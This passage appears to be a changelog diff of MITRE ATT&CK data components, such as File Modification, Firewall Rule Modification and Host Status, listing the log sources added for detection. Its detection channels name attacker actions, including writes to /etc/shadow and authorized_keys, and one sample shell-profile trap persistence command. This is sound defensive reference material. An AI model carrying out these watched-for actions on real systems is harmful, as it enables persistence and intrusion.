'channel': 'BSM audit events for file permission modifications'}, {'name': 'esxi:hostd', 'channel': 'host daemon events related to file or VM permission changes'}, {'name': 'esxi:vmkernel', 'channel': 'VMware kernel events for file system permission modifications'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or invalid image for newly installed/updated binaries'}, {'name': 'journald:package', 'channel': 'dpkg/apt/yum/dnf transaction logs; vendor updaters in systemd journals'}, {'name': 'macos:unifiedlog', 'channel': 'pkginstalld/softwareupdated/Homebrew install transactions'}, {'name': 'macos:unifiedlog', 'channel': 'AMFI/Gatekeeper code signature or notarization failures'}, {'name': 'EDR:detection', 'channel': 'App reputation telemetry'}, {'name': 'gatekeeper/quarantine database', 'channel': 'LaunchServices quarantine'}, {'name': 'linux:osquery', 'channel': 'file_events.path'}, {'name': 'auditd:SYSCALL', 'channel': 'setuid or setgid bit changes'}, {'name': 'linux:osquery', 'channel': 'Filesystem modifications to trusted paths'}, {'name': 'fs:fsusage', 'channel': 'filesystem monitoring of exec/open'}, {'name': 'auditd:SYSCALL', 'channel': 'syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, lchown, setxattr, lsetxattr, fsetxattr, removexattr, lremovexattr, fremovexattr)'}, {'name': 'auditd:PATH', 'channel': 'file path modifications on critical system directories (/etc, /usr/bin, /usr/sbin, /var, /opt)'}, {'name': 'linux:syslog', 'channel': 'kernel messages related to file system permission changes and security violations'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for file permission, ownership, and attribute modifications with user context'}, {'name': 'macos:unifiedlog', 'channel': 'kernel extension and system extension logs related to file system security violations or SIP bypass attempts'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Code integrity violations in boot-start drivers or firmware'}, {'name': 'fwupd:logs', 'channel': 'Firmware updates applied or failed'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_authentication'}, {'name': 'esxi:vmkernel', 'channel': 'Datastore modification events'}, {'name': 'linux:osquery', 'channel': 'Write or modify .desktop file in XDG autostart path'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected application binary modifications or altered signing status'}, {'name': 'auditd:SYSCALL', 'channel': 'setxattr or getxattr system call'}, {'name': 'macos:unifiedlog', 'channel': 'extended attribute write or modification'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663, 4656, 4658'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, chown, setxattr, or file writes to /etc/ssl/* or /usr/local/share/ca-certificates/*'}, {'name': 'macos:unifiedlog', 'channel': 'New certificate trust settings added by unexpected process'}, {'name': 'esxi:syslog', 'channel': 'Datastore file hidden or renamed unexpectedly'}, {'name': 'WinEventLog:Windows Defender', 'channel': 'Operational'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.lsd'}, {'name': 'saas:RepoEvents', 'channel': 'New file added or modified in PR targeting CI/CD or build config (e.g., `gitlab-ci.yml`, `build.gradle`, `pom.xml`, `.github/workflows/*.yml`)'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': "CodeIntegrity reports 'Invalid image hash' or 'Unsigned image' for new/updated binaries"}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'SmartScreen or ASR blocks on newly downloaded installer/updater'}, {'name': 'WinEventLog:Setup', 'channel': 'MSI/Product install, repair or update events'}, {'name': 'journald:package', 'channel': 'dpkg/apt install, remove, upgrade events'}, {'name': 'journald:package', 'channel': 'yum/dnf install or update transactions'}, {'name': 'linux:osquery', 'channel': 'hash, rpm_packages, deb_packages, file_events'}, {'name': 'macos:unifiedlog', 'channel': "installer or system_installd 'PackageKit: install succeeded/failed' with non-notarized or unknown signer"}, {'name': 'macos:unifiedlog', 'channel': "Gatekeeper/AMFI 'code signature invalid' / 'not notarized' messages"}, {'name': 'networkdevice:syslog', 'channel': 'OS version query results inconsistent with expected or approved version list'}, {'name': 'macos:unifiedlog', 'channel': 'File creation or modification with com.apple.ResourceFork extended attribute'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=15 '}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:14.725000+00:002025-10-21 15:14:35.397000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0061] File Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0061', 'external_id': 'DC0061'}]
x_mitre_log_sources[{'name': 'File', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write calls modifying ~/.bashrc, ~/.profile, or /etc/paths.d'}, {'name': 'macos:unifiedlog', 'channel': 'File modification in /etc/paths.d or user shell rc files'}, {'name': 'fs:fileevents', 'channel': '/var/log/quarantine.log'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of ~/Library/LaunchAgents or /Library/LaunchDaemons plist'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write'}, {'name': 'auditd:SYSCALL', 'channel': 'AUDIT_SYSCALL (open, write, rename, unlink)'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_WRITE, targeting .zshrc, .zlogin, .zprofile'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'fs:fileevents', 'channel': '/var/log/install.log'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=2'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for modification of /etc/sudoers or writing to /var/db/sudo'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: File modifications under /etc/ssl/certs, /usr/local/share/ca-certificates, or /etc/pki/ca-trust/source/anchors'}, {'name': 'macos:osquery', 'channel': 'query: Enumeration of root certificates showing unexpected additions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, unlink, rename: Suspicious file access, deletion, or modification of sensitive paths'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous plist modifications or sensitive file overwrites by non-standard processes'}, {'name': 'auditd:FILE', 'channel': 'Modification or deletion of /etc/audit/audit.rules or /etc/audit/audit.conf'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write of .service unit files'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write/unlink'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or desktopservices modified settings or files'}, {'name': 'ESXiLogs:messages', 'channel': 'changes to /etc/motd or /etc/vmware/welcome'}, {'name': 'auditd:SYSCALL', 'channel': 'write, rename'}, {'name': 'containerd:runtime', 'channel': 'file change monitoring within /etc/cron.*, /tmp, or mounted volumes'}, {'name': 'esxi:cron', 'channel': 'manual edits to /etc/rc.local.d/local.sh or cron.d'}, {'name': 'auditd:PATH', 'channel': '/etc/passwd or /etc/group file write'}, {'name': 'auditd:SYSCALL', 'channel': 'write'}, {'name': 'macos:unifiedlog', 'channel': 'SecurityAgentPlugins modification'}, {'name': 'macos:unifiedlog', 'channel': 'write: File modifications to *.plist within LaunchAgents, LaunchDaemons, Application Support, or Preferences directories'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'esxi:hostd', 'channel': 'boot'}, {'name': 'networkdevice:syslog', 'channel': 'config'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of backgrounditems.btm or creation of LoginItems subdirectory in .app bundle'}, {'name': 'fs:filesystem', 'channel': "Modification or creation of files matching 'com.apple.loginwindow.*.plist' in ~/Library/Preferences/ByHost"}, {'name': 'auditd:SYSCALL', 'channel': 'write | PATH=/home/*/.ssh/authorized_keys'}, {'name': 'macos:auth', 'channel': '~/.ssh/authorized_keys'}, {'name': 'gcp:audit', 'channel': 'compute.instances.setMetadata'}, {'name': 'azure:resource', 'channel': 'PATCH vm/authorized_keys'}, {'name': 'esxi:shell', 'channel': 'file write or edit'}, {'name': 'linux:syslog', 'channel': 'rename'}, {'name': 'ebpf:syscalls', 'channel': 'file_write'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of plist with apple.awt.UIElement set to TRUE'}, {'name': 'fs:fsusage', 'channel': 'unlink, write'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: Write operations targeting /dev/sda, /dev/nvme0n1, or EFI partition mounts'}, {'name': 'auditd:PATH', 'channel': 'write: Modification of /boot/grub/*, /boot/efi/EFI/*, or initramfs images'}, {'name': 'networkdevice:config', 'channel': 'config-change: timezone or ntp server configuration change after a time query command'}, {'name': 'macos:unifiedlog', 'channel': 'replace existing dylibs'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes to boot variables, startup image paths, or checksum verification failures'}, {'name': 'firmware:update', 'channel': 'Unexpected or unscheduled firmware updates, image overwrites, or failed signature validation'}, {'name': 'IntegrityCheck:ImageValidation', 'channel': 'Checksum or hash mismatch between running image and known-good vendor-provided image'}, {'name': 'macos:osquery', 'channel': 'File modifications in ~/Library/Preferences/'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write to /etc/pam.d/*'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /Library/Security/SecurityAgentPlugins'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications to Mail.app plist files controlling message rules'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656,4663'}, {'name': 'auditd:SYSCALL', 'channel': 'write: Modification of structured stored data by suspicious processes'}, {'name': 'linux:syslog', 'channel': 'Unexpected log entries or malformed SQL operations in databases'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected creation or modification of stored data files in protected directories'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EvenCode=2'}, {'name': 'auditd:SYSCALL', 'channel': 'openat, write, rename, unlink'}, {'name': 'macos:unifiedlog', 'channel': 'file encrypted|new file with .encrypted extension|disk write burst'}, {'name': 'esxi:vmkernel', 'channel': 'rename .vmdk to .*.locked|datastore write spike'}, {'name': 'macos:unifiedlog', 'channel': 'Mach-O binary modified or LC_LOAD_DYLIB segment inserted'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls targeting /etc/ld.so.preload or binaries in /usr/bin'}, {'name': 'macos:unifiedlog', 'channel': 'Modified application plist or binary replacement in /Applications'}, {'name': 'esxi:shell', 'channel': 'admin command usage'}, {'name': 'networkdevice:syslog', 'channel': 'startup-config'}, {'name': 'macos:unifiedlog', 'channel': 'File creation or overwrite in common web-hosting folders'}, {'name': 'esxi:vmkernel', 'channel': 'Unauthorized file modifications within datastore volumes via shell access or vCLI'}, {'name': 'networkdevice:config', 'channel': "Configuration changes referencing 'crypto', 'key length', 'cipher', or downgrade of encryption settings"}, {'name': 'FirmwareLogs:Update', 'channel': 'Unexpected firmware or image updates modifying cryptographic modules'}, {'name': 'fs:plist', 'channel': '/var/root/Library/Preferences/com.apple.loginwindow.plist'}, {'name': 'auditd:SYSCALL', 'channel': 'modification of existing .service file'}, {'name': 'auditd:PATH', 'channel': 'write or create events on *.pth, sitecustomize.py, usercustomize.py in site-packages or dist-packages'}, {'name': 'macos:unifiedlog', 'channel': 'write of plist files in /Library/LaunchAgents or /Library/LaunchDaemons'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'WinEventLog:System', 'channel': 'Unexpected modification to lsass.exe or cryptdll.dll'}, {'name': 'networkconfig', 'channel': 'unexpected OS image file upload or modification events'}, {'name': 'network:runtime', 'channel': 'checksum or runtime memory verification failures'}, {'name': 'macos:unifiedlog', 'channel': 'write'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: Modification of /boot/grub/* or /boot/efi/*'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /System/Library/CoreServices/boot.efi'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of LaunchAgents or LaunchDaemons plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod'}, {'name': 'auditd:SYSCALL', 'channel': 'rename,chmod'}, {'name': 'fs:fsevents', 'channel': 'create/write/rename under user-writable paths'}, {'name': 'macos:osquery', 'channel': 'Changes to LSFileQuarantineEnabled field in Info.plist'}, {'name': 'fs:fsusage', 'channel': 'file access to /usr/lib/cron/tabs/ and cron output files'}, {'name': 'esxi:hostd', 'channel': 'modification of crontab or local.sh entries'}, {'name': 'networkdevice:config', 'channel': 'Configuration file modified or replaced on network device'}, {'name': 'macos:unifiedlog', 'channel': 'Plist modifications containing virtualization run configurations'}, {'name': 'fs:fsusage', 'channel': 'file access to /usr/lib/cron/at and job execution path'}, {'name': 'macos:unifiedlog', 'channel': 'binary modified or replaced'}, {'name': 'esxi:hostd', 'channel': 'binary or module replacement event'}, {'name': 'networkdevice:config', 'channel': 'Configuration change events referencing encryption, TLS/SSL, or IPSec settings'}, {'name': 'networkdevice:firmware', 'channel': 'Unexpected firmware update or image modification affecting crypto modules'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating permission, ownership, or extended attribute changes on critical paths. File system modification events with kFSEventStreamEventFlagItemChangeOwner, kFSEventStreamEventFlagItemXattrMod flags'}, {'name': 'auditd:FILE', 'channel': 'Modification of Display Manager configuration files (/etc/gdm3/*, /etc/lightdm/*)'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /Library/Preferences/com.apple.loginwindow plist'}, {'name': 'auditd:SYSCALL', 'channel': 'Modification of user shell profile or trap registration via echo/redirection (e.g., echo "trap \'malicious_cmd\' INT" >> ~/.bashrc)'}, {'name': 'macos:unifiedlog', 'channel': 'File write or append to .zshrc, .bash_profile, .zprofile, etc.'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, write, create, open'}, {'name': 'fs:fsevents', 'channel': 'Extensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: File writes to application binaries or libraries at runtime'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Mismatch in file integrity of critical macOS applications'}, {'name': 'auditd:SYSCALL', 'channel': 'file write operations in /Library/WebServer/Documents'}, {'name': 'fs:launchdaemons', 'channel': 'file_modify'}, {'name': 'auditd:PATH', 'channel': 'write: File modifications to /etc/systemd/sleep.conf or related power configuration files'}, {'name': 'macos:unifiedlog', 'channel': 'write: File modification to com.apple.PowerManagement.plist or related system preference files'}, {'name': 'fs:fsusage', 'channel': 'modification of existing LaunchAgents plist'}, {'name': 'macos:unifiedlog', 'channel': 'create/modify dylib in monitored directories'}, {'name': 'WinEventLog:Application', 'channel': '81,3033'}, {'name': 'auditd:SYSCALL', 'channel': 'write operation on /etc/passwd or /etc/shadow'}, {'name': 'macos:unifiedlog', 'channel': 'modification to /var/db/dslocal/nodes/Default/users/'}, {'name': 'linux:osquery', 'channel': 'New or modified kernel object files (.ko) within /lib/modules directory'}, {'name': 'macos:osquery', 'channel': 'Modifications to /var/db/SystemPolicyConfiguration/KextPolicy or kext_policy table'}, {'name': 'networkdevice:audit', 'channel': 'SNMP configuration changes, such as enabling read/write access or modifying community strings'}, {'name': 'macos:osquery', 'channel': 'write'}, {'name': 'auditd:SYSCALL', 'channel': 'mount or losetup commands creating hidden or encrypted FS'}, {'name': 'macos:unifiedlog', 'channel': 'Hidden volume attachment or modification events'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious plist edits for volume mounting behavior'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes to startup image paths, boot loader parameters, or debug flags'}, {'name': 'networkdevice:syslog', 'channel': 'Checksum/hash mismatch between device OS image and baseline known-good version'}, {'name': 'macos:unifiedlog', 'channel': 'file writes'}, {'name': 'm365:defender', 'channel': 'OfficeTelemetry or DLP'}, {'name': 'fs:fsusage', 'channel': 'Filesystem Access Logging'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes referencing cryptographic hardware modules or disabling hardware acceleration'}, {'name': 'FirmwareLogs:Update', 'channel': 'Unexpected firmware updates that alter encryption libraries or disable hardware crypto modules'}, {'name': 'm365:office', 'channel': 'Anomalous editing of invoice or payment document templates'}, {'name': 'fs:fsusage', 'channel': 'truncate, unlink, write'}, {'name': 'macos:unifiedlog', 'channel': 'Modification or replacement of /Library/Application Support/com.apple.TCC/TCC.db or ~/Library/Application Support/com.apple.TCC/TCC.db'}, {'name': 'linux:fim', 'channel': 'Changes to /etc/rc.local.d/local.sh or creation of unexpected startup files in persistent partitions (/etc/init.d, /store, /locker)'}, {'name': 'macos:endpointsecurity', 'channel': 'write, rename'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write to /proc/*/mem or /proc/*/maps'}, {'name': 'sysdig:file', 'channel': 'evt.type=write'}, {'name': 'macos:unifiedlog', 'channel': 'rule definitions written to emond rule plists'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes referencing older image versions or unexpected boot parameters'}, {'name': 'FileIntegrity:ImageValidation', 'channel': 'Hash/checksum mismatch against baseline vendor-provided OS image versions'}, {'name': 'auditd:SYSCALL', 'channel': 'write or rename to /etc/systemd/system or /etc/init.d'}, {'name': 'fs:fsusage', 'channel': 'file write to launchd plist paths'}, {'name': 'auditd:SYSCALL', 'channel': 'modification of entrypoint scripts or init containers'}, {'name': 'fs:plist_monitoring', 'channel': '/Users/*/Library/Mail/V*/MailData/RulesActiveState.plist'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod/chown to /etc/passwd or /etc/shadow'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls targeting web directory files'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal/Editor processes modifying web folder'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:11.410000+00:002025-10-21 15:14:35.239000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0043] Firewall Disable

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0043', 'external_id': 'DC0043'}]
x_mitre_log_sources[{'name': 'esxi:vmkernel', 'channel': 'Disabling or modifying firewall rules'}, {'name': 'AWS:CloudTrail', 'channel': 'Removal of restrictive egress rules from a security group'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:16:59.931000+00:002025-10-21 15:14:40.022000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0044] Firewall Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0044', 'external_id': 'DC0044'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:17:06.404000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0053] Firewall Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0053', 'external_id': 'DC0053'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:17:03.149000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0051] Firewall Rule Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0051', 'external_id': 'DC0051'}]
x_mitre_log_sources[{'name': 'WinEventLog:Security', 'channel': 'Firewall Rule Modification'}, {'name': 'Firewall Audit Logs', 'channel': 'Config Change'}, {'name': 'esxi:hostd', 'channel': 'vSphere API calls modifying firewall settings'}, {'name': 'networkdevice:cli', 'channel': 'firewall disable commands or suspicious ACL modifications'}, {'name': 'AWS:CloudTrail', 'channel': 'AuthorizeSecurityGroupIngress'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall', 'channel': 'new rule allowing inbound or outbound connections for remote desktop software'}, {'name': 'networkdevice:Firewall', 'channel': 'update_rule: Access control or NAT rule modified or disabled outside maintenance window'}, {'name': 'linux:syslog', 'channel': 'iptables or nftables rule changes'}, {'name': 'Firewall Audit Logs', 'channel': 'Outbound NAT Rule Changes'}, {'name': 'AWS:CloudTrail', 'channel': 'Create egress rule allowing UDP to port 53, 123, 11211'}, {'name': 'AWS:CloudTrail', 'channel': 'Ingress rule creation or modification for security group'}, {'name': 'AWS:CloudTrail', 'channel': 'New security group created with permissive rules'}, {'name': 'NSM:Firewall', 'channel': 'Policy Change / Rule Update'}, {'name': 'NSM:Firewall', 'channel': 'rule_modification: New or modified firewall rules related to wireless interfaces'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:16:56.720000+00:002025-10-21 15:14:37.073000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0004] Firmware Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0004', 'external_id': 'DC0004'}]
x_mitre_log_sources[{'name': 'Firmware', 'channel': 'None'}, {'name': 'networkdevice:syslog', 'channel': 'Image Upgrade / Configuration Change'}, {'name': 'networkdevice:config', 'channel': 'Boot image path or firmware configuration variable modified outside of maintenance windows'}, {'name': 'WinEventLog:Microsoft-Windows-Kernel-Boot', 'channel': 'Firmware integrity validation failed or boot configuration tampered'}, {'name': 'auditd:SYSCALL', 'channel': 'write access to /dev/mem or /sys/firmware/efi/efivars'}, {'name': 'macos:unifiedlog', 'channel': 'boot failure events or SMC validation errors'}, {'name': 'networkdevice:firmware', 'channel': 'Firmware update initiated or bootloader tampering detected'}, {'name': 'networkdevice:config', 'channel': 'Log entries indicating ROMMON image upgrade commands (boot system, upgrade rom-monitor)'}, {'name': 'networkdevice:config', 'channel': 'Boot variable modified to point to non-standard or unsigned image'}, {'name': 'firmware:integrity ', 'channel': 'Firmware integrity verification failures or mismatches against expected UEFI/firmware image baselines'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl/write: Direct firmware update or device memory manipulation syscalls'}, {'name': 'firmware:smart', 'channel': 'Unexpected firmware-level errors or abnormal S.M.A.R.T. log entries'}, {'name': 'macos:unifiedlog', 'channel': 'Firmware update events or kernel extension (kext) loads not signed by Apple'}, {'name': 'firmware:integrity', 'channel': 'Baseline mismatch or unexpected EFI module detected during integrity checks'}, {'name': 'macos:osquery', 'channel': 'Unexpected changes in EFI or NVRAM variables controlling hardware boot state'}, {'name': 'networkdevice:syslog', 'channel': 'Custom firmware or routing changes'}, {'name': 'etw:Microsoft-Windows-Kernel-Storage', 'channel': 'Raw disk I/O operations bypassing NTFS APIs'}, {'name': 'firmware:runtime', 'channel': 'Debug or memory access commands indicating attempts to alter OS instructions in memory'}, {'name': 'networkdevice:syslog', 'channel': 'Boot information log showing image loaded from TFTP server instead of local storage'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--ca1cb239-ff6d-4f64-b9d7-41c8556a8b4f
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:52.606000+00:002025-10-21 15:14:38.020000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0099] Group Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0099', 'external_id': 'DC0099'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'ListGroups, ListAttachedRolePolicies'}, {'name': 'azure:audit', 'channel': 'az ad user get-member-groups, Get-AzRoleAssignment'}, {'name': 'gcp:audit', 'channel': 'cloudidentity.groups.list'}, {'name': 'saas:salesforce', 'channel': 'GET /services/data/vXX.X/groups'}, {'name': 'saas:github', 'channel': 'GET /orgs/:org/teams, GET /teams/:team/members'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:40.457000+00:002025-10-21 15:14:39.499000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0105] Group Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0105', 'external_id': 'DC0105'}]
x_mitre_log_sources[{'name': 'm365:sharepoint', 'channel': 'Enumerate ACLs/role bindings'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:43.699000+00:002025-10-21 15:14:39.577000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0094] Group Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0094', 'external_id': 'DC0094'}]
x_mitre_log_sources[{'name': 'm365:unified', 'channel': 'Add member to group'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:46.920000+00:002025-10-21 15:14:40.086000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0018] Host Status

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0018', 'external_id': 'DC0018'}]
x_mitre_log_sources[{'name': 'Sensor Health', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'interface_details '}, {'name': 'Windows:perfmon', 'channel': 'Sustained CPU/memory exhaustion by service process (e.g., w3wp.exe)'}, {'name': 'macos:unifiedlog', 'channel': 'Web service process (e.g., httpd) entering crash loop or consuming excessive CPU'}, {'name': 'AWS:CloudWatch', 'channel': 'Sustained spike in CPU usage on EC2 instance with web service role'}, {'name': 'WinEventLog:System', 'channel': 'System shutdowns due to bugcheck (Event ID 1001) or watchdog timer expirations'}, {'name': 'linux:syslog', 'channel': 'Out of memory killer invoked or kernel panic entries'}, {'name': 'macos:unifiedlog', 'channel': 'Spike in CPU or memory use from non-user-initiated processes'}, {'name': 'AWS:CloudWatch', 'channel': 'StatusCheckFailed or StatusCheckFailed_System for burstable instances (t2/t3)'}, {'name': 'kubernetes:events', 'channel': 'CrashLoopBackOff, OOMKilled, container restart count exceeds threshold'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=16'}, {'name': 'Windows:perfmon', 'channel': 'High sustained CPU usage by a single process'}, {'name': 'linux:procfs', 'channel': 'Sustained high /proc/[pid]/stat usage'}, {'name': 'CloudWatch:Metrics', 'channel': 'Sustained EC2 CPU usage above normal baseline'}, {'name': 'prometheus:metrics', 'channel': 'Container CPU/Memory usage exceeding threshold'}, {'name': 'linux:syslog', 'channel': 'Service stop or disable messages for security tools not reflected in SIEM alerts'}, {'name': 'macos:unifiedlog', 'channel': 'Termination or disabling of XProtect, Gatekeeper, or third-party AV daemons'}, {'name': 'CloudWatch:InstanceMetrics', 'channel': 'NetworkOut spike beyond baseline'}, {'name': 'WinEventLog:Microsoft-Windows-TCPIP', 'channel': 'Connection queue overflow or failure to allocate TCP state object'}, {'name': 'NSM:Flow', 'channel': 'TCP: possible SYN flood or backlog limit exceeded'}, {'name': 'macos:unifiedlog', 'channel': 'network stack resource exhaustion, tcp_accept queue overflow, repeated resets'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1166, 7045'}, {'name': 'auditd:SYSCALL', 'channel': 'firmware_update, kexec_load'}, {'name': 'journald:boot', 'channel': 'Secure Boot failure, firmware version change'}, {'name': 'macos:unifiedlog', 'channel': 'EFI firmware integrity check failed'}, {'name': 'macos:syslog', 'channel': 'Hardware UUID or device list drift'}, {'name': 'Windows:perfmon', 'channel': 'Sudden spike in outbound throughput without corresponding inbound traffic'}, {'name': 'sar:network', 'channel': 'Outbound network saturation with minimal process activity'}, {'name': 'AWS:CloudWatch', 'channel': 'Sudden spike in network output without a corresponding inbound request ratio'}, {'name': 'Windows:perfmon', 'channel': 'Sudden spikes in CPU/Memory usage linked to specific application processes'}, {'name': 'CloudMetrics:InstanceHealth', 'channel': 'Autoscaling, memory/cpu alarms, or instance unhealthiness'}, 